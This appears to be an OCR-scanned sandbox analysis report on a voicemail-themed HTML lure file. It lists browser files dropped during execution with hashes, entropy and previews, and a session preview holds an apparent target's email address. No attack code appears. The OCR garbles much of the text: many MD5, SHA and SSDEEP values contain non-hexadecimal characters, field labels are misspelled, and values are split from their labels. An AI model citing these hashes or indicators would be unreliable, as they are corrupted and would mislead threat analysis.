C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

1235

5.204477900840433

false
24:MjXJaGN4zXk16FHPtI8dtUUuzi19EIKULUKISE/9RLFePpYASTS4Z02VSG:M9aGQXi6OdCzLIk+UkeE1nePpYAIG2F
89A4196002A4263EA8CIC169E794B10E

2E46EB752262CEASE85523DE32C14A87B042E61F
B1E092CDA182FA86BIFEBB1A2049093526424F06828578A2C5E81AAC225583CD

ABCAG6A19B47FD763051B5368F157C2D4E8325B01326807DF309EC4355E39D01513FEC04A5B4B273A2ACF11539F4D0D003ESD36D7CA0B537EA2F004FDEDBAD3
5

false

O\r..m.......... "......_keyhttps://c.s-microsoft.com/en-us/CMSScripts/script.jsx ?k=0502864a-b6ef-2f14-9f8e-267004d3a4e0_c5ea3348-55af-729a-2641-14f0312bacf3_742
bd11f-3d7¢-9955-3df5-f02b66689699_ch9d43d2-fbae-5b5c-827f-72166d6b87fc_49488e0d-6ae2-5101-c995-f4d56443b1d8_7dea7b90-4334-c043-b252-9f132d19
eel9_38aadffb-ddb5-75be-6536-a58628f435f5_e3e65a0a-c133-43e7-571d-2293e03f85e6_4cale9dc-adde-17ba-f0de-d1d346ch99e2_06310cd8-41c6-3b11-4645-
b4884789ed70_5c27e8aa-9347-969e-39ac-37a4de428a8d_d6872b5a-5310-a73c-7ch3-227a3213alc5_be92d794-4118-193f-9871-58b72092a5ac_64c742e2-b29c-b6cl-
fdd9-accf33ec40bd_cf2ceca9-3467-a5h3-d095-68958eeeb6d4c_cec39dd8-f1d3-56f1-abfc-a7db34ff7b46_ec5fa2c9-3950-ff57-a5¢3-1fa77e0db190_d19f9592-65df-bcc9-
e30e-439b875¢3381_76a3d06f-f11f-77ef-9bfd-6227ba750200_5elcaad5-461c-3b04-f88b-8cd50afl6db5_c2dceda8-20b4-7d3f-13b6-9cac67d7df17_914fa41b-cc86-d3b0-
4e15-2fdfa357bcc7_40c6c884-dabe-7c2c-081f-4a7dfe7c7245_ae79ba96-1a9d-debd-a5b1-f3067213b9b8 .https://microsoft.com/.",.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cacheljs\index-dir\temp-index

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:

C:\Program Files\Google\Chrome\Application\chrome.exe

MS Windows COFF PowerPC object file

dropped

2784

5.39085377825233

false
48:KjptLBNnHNUBQ4Sg40Po+fIptLB8eYgHNUBQ4Sg4oPo+lfiptLBa:Kj/BHUS4Sg40Po+hJ/B1US4Sg40Po+hu
5F299E4DD3CE083470874BF3C8A0F9BA

B856FE84A5C4CC5AD024ACCO04AE42E23774C599
00080ABECDB14DC3B9FAB180F988ABDDCF121E39D3CBFAB7CDF09BE0511DB4CC
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Code Cacheljs\index-dir\temp-index

SHA-512: BC4BDCBD85D57B4C71C703272C1C94C7DD11D1A777D9C501DFF1EF9125CA12FB8539C8B84DFAD1B97D3ECA544DDC1E14B9536BESB15B53D7EE9A1689326D
570

Malicious: false

Preview:
...... oy retne............O0. . XDzZpm e @Vo@n -t Lt N u 2L YL {0 N XG - L2 T 20
.g0....-..l..P...... p.&, <. CoAe.joyd e, LNp..@ikt../ 0.x@ikt../............ /..3.KPu../. KPu../......... &<.\.O$.KPu..I......... p..(....KPu../
u../.. +<P|...X.KPu../. .[H...Ae..oy retne... gt FU.m..g.[../[.... 5.0l h}.ig/.l.. A+>ALjg.l.]... 1.%./..
B8N m A CLOLE A plid 1.b.G8.C..p/ plidc.. 0...k@. /../ ............... f@."/. ... h ....... Qld.........
X..W....Ql.I.z... Q.

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Cookies

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 36864

Entropy (8bit): 1.6337770833389278

Encrypted: false

SSDEEP: 96:dNwrNwPAi+rEUg+eNC5mEH5AiI8NxzbNwher6IAILrERg+etC5SEHCKZEAiI8NxzZ:duruValg+Z/auhq6TPgq+1lie6W

MDS5: 092EF77BE84DE2E29DC1ACE91DF85920

SHA1L: 6F6D2F8C731D0244372F62F6D96272C56BEDOELF

SHA-256: 75C8D35AD082DCF9847D6E6272FCCB105986783AE3F1B1DCBCD47288B53CDD8A

SHA-512: 43EBD96D77A86110B20AE91E032110640A93813FA8DC4C863D0ASDCBAIDF5CFC3A256EC2244DFAOEDSF98FS5EAECDI572D6DABADEL8AL12E66DB1A96E7C8FA
705

Malicious: false

Preview:

SQLite format 3.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies-journal

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 38508

Entropy (8bit): 1.253987259787621

Encrypted: false

SSDEEP: 96:SOpcNwwMNwaAi+rEUg+eNC5mEHNAI8NxzL8Nwr:SOpcuwMulalg+ZLK8ur

MDS5: 2A4F6EAEB58521B829B2567F637656BB

SHA1L: E08284E6977C8A04802F745C30ABD6ABLA4E7FI5

SHA-256: 25343209CDAAD8B5FC7D3C9A64FD36230FE0CID094CFDCEF7FF8FCD387A24E9D
SHA-512: DB658823B91EEED8FE4B2B029496B836B6D3079DFD01750B9E744CF17F899CDBC045730B4172139C13D1E3A2ACD66575393C6E411F2419391174817961FBC1FF
Malicious: false

Preview:

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Current Session

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 14965

Entropy (8bit): 3.431130238161056

Encrypted: false

SSDEEP: 96:34q1NBhxFtxMI7JuRJaUwcagRgRNDgjmjCUt4pPb0rq9kGkJIfpiEqJOJfKIfcpi5:3xNtpMIkAJI34HxkoCOIISI

MDS5: 938D0799D29F5421FC089B0075B89DCC

SHA1L: 9F1D1F73A47B8AOCB1A97C49E725FF8BACOC15D8

SHA-256: E4E852706A9C2A8EA153F419C96EBA2A58BB4D016E76F891EA213DA80470CD53

SHA-512: 967004320EE4A3DD3991975E61DE2C8201442861AF99EBE6GF2AF55A8E88FC59DA1A2F07DEOADAF6A56D9CC5ACC544427B0AAA3B1314D5EF244D9E1D62C4137
CE

Malicious: false

Preview:
SNSS ....$...074298df_0c89_43cb_8f31_c52f74baad37
........... e &.. {524A03AB-861D-4591-9B4E-BDD6IFIDA25A} ... L. fileIC /Users/user/Desktop/%23U266b%20VM -Tunes-Playb
ack.html?bbre= 1618901529410#/1618901529410 1@&uv8NIe9RThzwtgiyc7LO5P@!&TrnjDOEpQFmMPVUaz@4&!-rhammond@tbconsulting.com-1618901529410
/1618901529410................ Xeteiiaieaecesis e h.... [T PP PR OO PUTPOPPP XeaBlre XerBluiii e file..//l/.C../Us.ers.lhard.z/.

D.e.sk.t.0.p./.9%.2.3.U.2.6.6.b.%.2.0.V.M.-.T.u.n.e.s.-.P.L.ay.b.a.ck.html?b.b.re=16.1.89.0.1529410#/16.189.0.1529.4.10.-!.@.&u.v.8.N.l.e.9.R.T.h.z.
w.t.g.i.y.c.7.L.0.5.P.@.!.&T.r.n.j.D.0
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Current Tabs

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

8

1.8112781244591325

false

3:3Dtn:3h

0686D6159557E1162D04C44240103333
053E9DB58E20A67D1E158E407094359BF61D0639
3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB
884C0D3594390E2FCOAEAB05460F0783815170C4B57DB749B8ADICD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DES8E794550599AAA261120976C

false

SNSS....

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

164

4.391736045892206

false

3:FQxIXayz/t2HmwgOEOZL7A04uhFKEURLKYC5Ei5+Gg:qT5z/t2qoEwhXeLKB
0A906A9A542CDFO8FF50DAAF1D1ES96E
B97D6274196F40874A368C265799F5FA78C52893
EB9CABBF5FDA1AD535300B0110EAA4068A083248BA928A631C9278545935426D

8795E905B711ADE6GB1C4B402D50AF491B64D157AA738669482DDBFC30E857DF970BFFB774A925F3F4A0802BD27AFAF939CE140894FF09B67FBOCOBB83ED4491
A

false

5 LW, Sgdaefkejpgkiemlaofpalmlakkmbjdnl.declarative_rules.declarativeContent.onPageChanged.[]..F.................. Foiiiies

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

320

5.25365518032917

false
6:m5/2pQWM+q2PWXp+N23iKKdK8aPrqglFUtpO/CwpG1ZmwPO/CQWMVkwOWXp+N23if:M2i+va5KkL3FUtpcCwol/PcHV5f5KkQJ
64D1A7C31FA39BFCC883AD9396A02B66

D199E01B8BBC87A3011FAG4F958B78FF6A23999D
8DE5FDB1981D49323BFC18555E524AEBBEOC6CIDB53F0313A66AA78B3E9D38C3
3B4697ACD146DBCDB07FFE5240006C166908917FFB302493B036FFA92912AE482239CE7FI9600F1CDA09A17DB6390618B6BEB955D5BAB68BB4278DA713FELL7A

false

2021/04/19-23:52:08.412 17ac Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules/MANIFEST-000001.2021/04/19-2
3:52:08.413 17ac Recovering log #3.2021/04/19-23:52:08.414 17ac Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension
Rules/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

570

1.8784775129881184

false
6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
D4BAOAEOBBOBIFAFF3DA6F35FDBC3C8A

FB3E9DEC7F35A9B1D94E54A5659DDODE484055E7

99DEF1B557F19F04C1AFFC6F247D0451F33FC10EC42E73792223C3215AC98BE6

86FD07C34B9ABD4C52BA19EAE291936F92BC6D38A75C021EDC1DEDBC15617669876180CD99F959C62476D82EC6BBIFSFE4C6CB4D82CB037EFB76D99A4D3D¢
51

false
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Preview:

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

317

5.233579354757617

false
6:m5rQWIg2PWXp+N23iKKdK8NIFUtpOr9ZmwPOrs3DkwOWXp+N23iKKdK8+eLJ:Xva5KkpFUtpo/PLz5f5KkqgJ
4504C3EEBE1AF17040C51127AE676061

74810633CBC4EC58B0152D5BOBE374CB5897178B
E4B502CB140A608EC3D3FCEFF5FDEAF523B42E32356CBOE296E36639679D25FB
B8D52B525AE1221F7771C8F2D62A1C62DEF9A61869FDODFE0F7E78288CBEF1411DD8950BIC1B816693E73148A257936E59296ACA80477F84B9765EFDE242F382

false

2021/04/19-23:52:10.849 d14 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/MANIFEST-000001.2021/04/19-23
:52:10.850 d14 Recovering log #3.2021/04/19-23:52:10.851 d14 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State/000003.
log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmiedal\1.0.0.6_0\_metadata\comput
ed_hashes.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

11217

6.069602775336632

false

192:GbylInITwGB7V9Hne4gasKxXItmLG48gcLg/Pkl:Gb+nldByaFx4toj8VEPT
90F880064A42B29CCFF51FE5425BF1A3
6A3CAE3996E9FFF653A1DDF731CED32B2BE2ACBF
965203D541E442C107DBC6D5B395168123D0397559774BEAE4E5BOABCA4EF268
DICBFCD865356F19A57954F8FD952CAF3D31B354112766C41892D1EF40BD2533682D4EC3F4DA0ES9A5397364F67A484B45091BA94E6CE69ED18AB681403DFD3F

false

{"file_hashes":[{"block_hashes":["A+1PYW3V6CJIbBuQ7aqrgYhyH3bT8PKyBXp3hN2sIpl0=","WSOpQRKYTHjPSIG9Zif2a7TNhy43NDcG1Zg5NvOUbHO=","iDctR8IMG5KZ
rQKm4kDjuB7FokSJfio/pmvFowRVIaY=","LPxhhJiuUOlprt0T6flpS7TkaDg7MocrbmzO65xH6RI=","nZ9zLb2By96 AKKXALRM+COEU11XUjPiMXEK]jiCPdtHE:
N2jrtutLgsCefvuceTpAatmLvul11RIA=","dHjWISIIdjj7MWqg3T8MG58RuuqRXk32vqi/13JqEgA=","zd3DV7dbvfNvx1hdhU01fW5ily52DLNOCFL/ADaEeTI=","DpjXcO85FF
FY9KJIFPKGNfFUtdQIOsGwO5jUckiUwY14=","gqid6l1+mk/6yWgUECROfI9IMipXgXh2jEN2+CxmPEO=","prDB91X2Mmfg/M/txVMITWBmMEGbOGjgBTP7CM]YqdHs=",
"yLPAQV4gqoyS/zFKEt3Cn2j0q2v9QOSthVFWn8EzCM=","EPQ3jzdrLkAHyvf3920B5Y3aAkO11Jdn/UtbnAmg6TO=","+00c6ca+ChKUpTu+0a2ZRXxRE+wG3QJmuYWE
VYCs40NI=","3mBGNAIRITANEQkqzU3TEi+5wJOubR5uwtS4/900M7w=","LA9NNawxuhu95H5eThvflrewJ4QQWhhPNxJXO1C/n68=","E3vWLQxzmj+e5QxYbUscllJ5
nOITpw5JIBHV1Kph3/KM=","i318ghdTFIc1ZXNBZmvsID+DV4gxBVN27rj9wsMtRpg=","R8B8qYabnMSILPhrtuOhGYrHn3lIsMHqBbi70gkljEE=","rhIzuEvwv2KRAF
Mms896xFWkNgPrw6WvmgPn6xrBSa2Y=","LAMXv6sRbOVZrY34aVXF3Fftxs

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm\8520.615.0.5_1\_metadatalc
omputed_hashes.json

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

23474

6.059847580419268

false
384:7dNc1NC6IcafusK4H1IGRINKIKIALQWdynQh2RX4K6M1tVztzr7XSNyzH:7dOscSRKc1nGRSKIhEw6M1tf7SNyb
6AE2135EA4583C2F06CDEBEA4AE7OFAL

DCEB26C7F02D53B5F214305F4C75B4A33A79CDC2
03AA1944CB3C4F39E20B6361571BC45DFBEBD3FFDA3D8F148CC6ECB29958F903
B5945E67D9F73DD1982D687E5C6D9IB5D6B3886C8050363A259755C76ACOF93651F3425FA7C21AA6A13977AC1C8C9322F998F131648CB8909096058D4F0D23312

false

{"file_hashes":[{"block_hashes":['DOZdV3jFvk12AM2INDYK03KZrIVRprmJ+sVGWkqqE4Q=","rVEIW3Hu3T52SzDDUqGT5YiJTBGUV2h3pNuBKFIhZ1U=","X/
3fg4KZxgQ1jBr5QGqOF5InflgE27UErd88mrxTexs=","VibLbpy0ig+5INMOU71fTYN76iaka2XVpmm1lgAKYsX8=","EChCwChQHbHQ70DdGT2qNyiRJ0yck2YC2emNGq
4whtE="],"block_size":4096,"path":"_locales/iw/messages.json"},{"block_hashes":["xklkoZ7iSU1+7cd6 DAtEmUCS5IPFd+EgcbnzxkOiFwlk=","3KbsvoxKY/3AwqgF2aAdVQ
RpMhsNVRkQ3rx2A6Z2Z+Y=","09+tsohquaCMj+70zeinRG/hBhA2uLoDI/WoC1luokME=","xV/K8xucyWJELVT8Cqn+ugFjobBVmg8pnmACF+2PP4Y=","p/mvIm2wucCl
32Rx3it654MIjKAsMe3S9IDEabc1A8ME=","j{8BmPrTh500sBTj2Fer78JE6xG6+kR64Cvu2SWa8d3j/k=","ngSRpGQ3USU2bZIsZ+AzBmFOyann8omwJrhEWFZDTXc=","
eTcQyJUuNuF9yCga/fXGyFCj/pysSceanhBzksdx23s=","Wj7fagnspelXKMvnduxHn1XUBG8TEOqyns7/oUihekM=","VtBwXoadI3EP336rAiL33Gz19KGqtN+RYdKn
MKAXoLw=","iDgLXQqXJp8nCZxgLuC9LXM45DGfufvGnXvmHsn18wc=","g+RfdDfrWTUKOPkcsbot7NJ4SCOwWVRV/dVVMuHALE|8=","20C4HcCuXu3VjFfewnKlznt9u
qQNaebcuWpm/mwj69U=","aMUIpuFgPMiieSaWhlktCK62v2P30ZQAWupWsYzCnvk=","L
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

65536

2.1243170832412233

false
768:cTmoMjDT40eMfITndOOMynT1qdOhMysTDMt:cT/MvTIMQTBM6TMBTDMt
D679370908355CEA2C420E2C33A33590
186E5B83EB996B198FEAA0252A860F7CF2D61646
807F489C072D7766CDF813437F724A497241452874E6F42A5121BA75201E1458
19304A79394DDF4429BEAF067B5082DFE76E468A4DCF95279AF7282F213A951BC7B8633F386819A0953DF906EAEC8EC7785CDB3F2130B69E445A0E998DDOCES

false

SQLite format 3.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Favicons-journal

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

68412

1.5247296937448624

false
192:iIWLW4XMETA454/9MvObT39M30bT649g454cOMXObTR2:BLXMET9O1IMUTNMsTzdO4MMTo
05D085DE6D55CDAC9527BD8FD251D210
6DF01FF79E14DD0OA13A6ED4AB35CE4FB3224EFCS
D58A30AF087991A5353831FF826BFBC44B6F28A1B273E1A0D71ACABABBESEAT7

FOOB68DF76F240B1626775E7096FB49DE91669DC6509DE7ADE25D07083DA8C94F57C11EAF1C9142C5FC0O3C1F3D80EAIDECF495DFC411EFFA96A8604502A3FA
0

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

19

1.8784775129881184

false

3:FQxIX:qT

0407B455F23E3655661BA46A574CFCA4
855CB7CC8EAC30458B4207614D046CBO9EE3A591
AB5C71347D95F319781DF230012713C7819AC0D69373E8C9A7302CAE3F9A04B7
3020F7C87DC5201589FA43E03B1591EDSBEB64523B37EB3736557F3AB7D654980FB42284115A69D91DE44204CEFAB751B60466COEF677608467DE43D41BFB939

false

B T,

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

372

5.320987492383394

false

6:m5ggqNAQ+q2PWXp+N23iKKdK25+Xqgx8chl+IFUtpOgcqgAgZmwPOgcqAQVkwOWXp+D:D9Vva5KKTXfchI3FUtp Tkg/PTKISSKN
913CD979F14CE053628D3AEC0A000254

ABC346B57601C629D74BE4332F23A6A2DDAD8D38
D924B874F299AAF0F340C7835A59D20A1569235F69F163D45FB8BB2BD38AA7B8
35C465C1106A94A1DAEESD1D056786936549DF20806F78FF98DDB554E9A18DB9056FE96E854922A53210DA9F093600D2DF38134F46DE6A709BA2DCBBAL6EFC3

false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG

Preview:

2021/04/19-23:52:20.664 1648 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB/MA
NIFEST-000001.2021/04/19-23:52:20.971 1648 Recovering log #3.2021/04/19-23:52:20.971 1648 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Feature Engagement Tracker\AvailabilityDB/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

358

5.280204186095905

false
6:m5guXAQ+g2PWXp+N23iKKdK25+XuolFUtpOgigAgZmwPOguAQVkwOWXp+N23iKKy:DuQVva5KkTXYFUtpTeg/PTPISf5KKTXp
DED494990DE808C1CB001E593FB9913F

1107107E0020AD91F4FFB9786914ADB0A2376D78
02DBOE06D5D6E20348F40497B9C077FC7C709EDE9C1431B39E95A58052DF2487

BD77B237F497679B8E0365FFEEB4D0OAO1FEEE478A0D57D66B76BFFE4769911943639D7E7BFAAC818149FEFOFA362F10BCEG94E89ESEF70BD7ADF94F4CFBATC
80

false

2021/04/19-23:52:20.655 1648 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB/MANIFEST-
000001.2021/04/19-23:52:20.656 1648 Recovering log #3.2021/04/19-23:52:20.657 1648 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data
\Default\Feature Engagement Tracker\EventDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption\LOG

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

330

5.283367822026742

false
6:m5g6AQ+q2PWXp+N23iKKdKWT5g1ldgIFUtpOgm7NAgZmwPOgm7NAQVkwOWXp+N2z:DrVva5Kkg5gSRFUtpTm2g/PTm2I5f5Kg
7964C7C10C623E813D88ADEE16DDA144

FAF6D82C49AE0222EF91CBD58FF5732D1DF90737
BOACE7FB48758C1CE99C41C79D185471B48AC2955A0E12A04961C8052C350F44

57E1ES5EC8EDF42027A380F9B5EDBEOEEF080C48CB93B1DC6D431E73E82522E82AC64B0OCDC4A8A2101C10E460CF423E959095D016403764CCB0967E921444C0!
9

false

2021/04/19-23:52:20.626 1648 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption/MANIFEST-000001.2021/04
/19-23:52:20.628 1648 Recovering log #3.2021/04/19-23:52:20.628 1648 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM S
tore\Encryption/000003.log .

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

592

0.4536056456034717

false

3:8EfIHK/aEZI/K/:8QvO

1175131053454E6DECCAEA47ES5B6DI7A
B4283E8C9CC50A5D5B64264C461BA800375B1B8C
D91FC365445B96EF39EF25B87D2287401D4E5FF45CB63C590A4603A701647B70
89A4A3023E967E5FFD67F22082AA7BC263BEBALF921B55244933076377222FFEF3EDDAC878DE4932777697C71E072ED7935C28CEDD82387D14F64C145E0FFE4T

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\History

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files\Google\Chrome\Application\chrome.exe
SQLite 3.x database, last written using SQLite version 3032001
dropped

147456

0.9848763849878884

false
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C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\History

SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

192:LL6xMhELSh/MRpLAYEs3GpLyIC/M3ks3GpL1CRsgy/ML:LLcMILIMILAJLyNMeL1fML

502838E13F0B7003E8C004A3270BBCAS

8ACABSBDA0B1A372F73A1E04E09C87D5DED175361

EAOAF6E5ABAA134DF3DABI86CFBFOB580AEID29370EDB856697B913D06F46DA6
0DB3E70AA5062E69873AAC802CC41B1F342C32FF209ECEAE1DCB2F8D51892B0F859AB04750FE3CAOE94A1F30828F0510DD1C11529450422C53CD307256DIEF1

false

SQLite format 3...... @ e ettt e te e e teehee e tee ettt ettt eteeesteeaste ettt ateeeaeeeaaeeeaeeeteeteeeteeasteeateeateeanreenrreareen

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

1359

5.864665332208551

false
24:5QX/VSHscOSUBoLZgAzNisDPi5ay8z3tAOwsIHYmMESIHEDgGQ:sQ5bod/Le5aJ3i09IBRI3GQ
238B0507DAE5DD56C6895AFA5C40BBF1
0957DEB789C7B0A015182E2506504A534FED9BD6
7C7FC25BE224B3CBDES25FEE24729208102E2351A1ABIE80581508EA3ALE325E

B0109269E78ECEECCB9E4176E6990EF1B6B40A685BDBDFE38F75503C567771E6F6240FE77EB9621E15B8F43EF7AOE970C56996CBC14FB2FB5FB57F639D33A88
B

false

. .1618901529410..bbre..c..com..desktop..file..user..html..playback..rhammond..tbconsulting..trnjd0epgfmpvuaz..tunes..u266b..users..uv8nle9rthzwtgiyc7lo5p.
.vm*........1618901529410......bbre......c......com

users......uv8nle9rthzwtgiyc7lo5p...
...... i JeoererKennlemu, S.
........................................................................................................... B..ooven s filed//IC:/Us

C:\Users\luser\AppData\Local\Google\Chrome\User Data\Default\History-journal

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

159084

0.6952584065648663

false

192:WfMYLC6fEL4q/M8pLeSYN/Mws3GpLQPII:WMYLC/LVMCLI2MILQP5
06CDF555592E0385D2BB725F85B2E5C3
80E4F634115DD2A3803D709FDB95BDF7378D68E9
27BCDD6F9480E0C60565B0B71644AB5EOE6BB3916D4DD7CD9077F446E5CAB269

B3F73FDFCCCB6B55AABEOSF36BD350FF656D07E4DFC60E96480CDF9339685E9ADA275471871641C2368CBFAD1B39FAGADGACO27844216D298B82A8923F7E12!
1

false

C:\Users\luser\AppData\Local\Google\Chrome\User Data\DefaultindexedDB\https_Ipcdn.lpsnmedia.net_0.indexeddb.leveldb\000001.dbtmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text

dropped

16

3.2743974703476995

false

3:1sjgWIV//Uv:1gIFUv

46295CAC801E5D4857D09837238A6394
44E0FA1B517DBF802B18FAF0785EEEABAC51594B
OF1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23

false

MANIFEST-000001.
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Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:

SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Network Behavior

Snort IDS Alerts
Timestamp Protocol SID Message
04/19/21- ICMP 402 ICMP Destination Unreachable Port Unreachable

23:53:12.753979

Network Port Distribution

TCP Packets

Copyright Joe Security LLC 2021

e8d6a08c8882c461

Total Packets: 165

® 53 (DNS)
® 443 (HTTPS)

HTML document, ASCII text, with very long lines
3.4046831362921006

#U266b VM-Tunes-Playback.html

14862

8896aleb844ch01ce56eddfabe90282d
78b25819b6270edc53c5763719b5c9f81bc3flac

7db3772473959¢79e30762b7f75bbcadabd8f41f1bd4e55
30db7f63b3769f873

b8200ece81ebff8e4b654335d946e9e8c52336¢28917fdc
82a86ac73ab37dcc9e3fcf41638ca662b57dd4f72b9e756
